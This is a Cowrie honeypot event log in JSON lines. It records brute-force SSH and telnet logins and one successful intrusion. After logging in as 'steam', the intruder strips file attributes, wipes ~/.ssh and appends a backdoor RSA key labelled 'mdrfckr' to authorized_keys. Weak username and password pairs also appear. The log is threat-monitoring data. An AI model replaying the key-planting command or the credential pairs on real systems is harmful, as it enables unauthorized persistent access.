{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:32.144353Z","src_ip":"186.10.86.130","session":"60a548981dd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:32.290877Z","src_ip":"186.10.86.130","session":"60a548981dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwe112233","message":"login attempt [ubuntu/Qwe112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:32.895599Z","src_ip":"186.10.86.130","session":"60a548981dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:34.042019Z","src_ip":"186.10.86.130","session":"60a548981dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.399534225463867,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:36.495692Z","src_ip":"45.81.23.16","session":"cbd9442f83a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.277703285217285,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:36.513268Z","src_ip":"45.81.23.16","session":"f47d9b4748ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":33390,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4dfe5729acb","protocol":"telnet","message":"New connection: 45.81.23.16:33390 (10.17.0.5:23) [session: b4dfe5729acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:39.486532Z"}
{"eventid":"cowrie.session.closed","duration":48.68572163581848,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:39.986180Z","src_ip":"165.232.131.181","session":"9b68a57841e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.57605791091919,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:40.046912Z","src_ip":"45.81.23.16","session":"2915f28ace61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.225112915039062,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:40.927515Z","src_ip":"45.81.23.16","session":"c8fee55fe9e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":39144,"dst_ip":"159.203.135.109","dst_port":22,"session":"d64816c6b733","protocol":"ssh","message":"New connection: 191.101.59.69:39144 (159.203.135.109:22) [session: d64816c6b733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:43.247055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:43.254869Z","src_ip":"191.101.59.69","session":"d64816c6b733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:43.337446Z","src_ip":"191.101.59.69","session":"d64816c6b733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vps1","password":"vps123","message":"login attempt [vps1/vps123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:43.705342Z","src_ip":"191.101.59.69","session":"d64816c6b733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:44.805184Z","src_ip":"191.101.59.69","session":"d64816c6b733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.3944947719573975,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:44.880869Z","src_ip":"45.81.23.16","session":"b4dfe5729acb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":50180,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8beba97a854","protocol":"ssh","message":"New connection: 152.32.162.42:50180 (10.17.0.5:22) [session: f8beba97a854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:46.247424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:46.252403Z","src_ip":"152.32.162.42","session":"f8beba97a854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":42214,"dst_ip":"10.17.0.5","dst_port":23,"session":"85ce37b3c1d1","protocol":"telnet","message":"New connection: 45.81.23.16:42214 (10.17.0.5:23) [session: 85ce37b3c1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:46.413017Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:46.507985Z","src_ip":"152.32.162.42","session":"f8beba97a854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":42230,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca71d08b76e4","protocol":"telnet","message":"New connection: 45.81.23.16:42230 (10.17.0.5:23) [session: ca71d08b76e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:47.085934Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"pass","message":"login attempt [steam/pass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:47.560454Z","src_ip":"152.32.162.42","session":"f8beba97a854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":53158,"dst_ip":"10.17.0.5","dst_port":22,"session":"8de5d1854853","protocol":"ssh","message":"New connection: 177.85.247.230:53158 (10.17.0.5:22) [session: 8de5d1854853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:47.857844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:47.863002Z","src_ip":"177.85.247.230","session":"8de5d1854853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:47.965001Z","src_ip":"177.85.247.230","session":"8de5d1854853","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:48.120332Z","src_ip":"152.32.162.42","session":"f8beba97a854","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:48.123651Z","src_ip":"152.32.162.42","session":"f8beba97a854","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:48.127979Z","src_ip":"152.32.162.42","session":"f8beba97a854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":42232,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e2486da45ba","protocol":"telnet","message":"New connection: 45.81.23.16:42232 (10.17.0.5:23) [session: 4e2486da45ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:48.324714Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:48.388979Z","src_ip":"152.32.162.42","session":"f8beba97a854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"repoleved","message":"login attempt [developer/repoleved] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:48.437449Z","src_ip":"177.85.247.230","session":"8de5d1854853","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:48.968315Z","src_ip":"152.32.162.42","session":"f8beba97a854","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:48.971884Z","src_ip":"152.32.162.42","session":"f8beba97a854","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:49.232605Z","src_ip":"152.32.162.42","session":"f8beba97a854","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:49.236771Z","src_ip":"152.32.162.42","session":"f8beba97a854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":50188,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f95e972cd1b","protocol":"ssh","message":"New connection: 152.32.162.42:50188 (10.17.0.5:22) [session: 9f95e972cd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:49.464126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:49.470326Z","src_ip":"152.32.162.42","session":"9f95e972cd1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:49.541839Z","src_ip":"177.85.247.230","session":"8de5d1854853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:49.719387Z","src_ip":"152.32.162.42","session":"9f95e972cd1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:50.743383Z","src_ip":"152.32.162.42","session":"9f95e972cd1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42746,"dst_ip":"159.203.135.109","dst_port":22,"session":"1185d68189ee","protocol":"ssh","message":"New connection: 60.199.224.2:42746 (159.203.135.109:22) [session: 1185d68189ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:51.514812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:51.522461Z","src_ip":"60.199.224.2","session":"1185d68189ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:51.722804Z","src_ip":"60.199.224.2","session":"1185d68189ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:51.994325Z","src_ip":"152.32.162.42","session":"9f95e972cd1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":50190,"dst_ip":"10.17.0.5","dst_port":22,"session":"be1d03138fad","protocol":"ssh","message":"New connection: 152.32.162.42:50190 (10.17.0.5:22) [session: be1d03138fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:52.239896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:16:52.244901Z","src_ip":"152.32.162.42","session":"be1d03138fad","protocol":"ssh"}
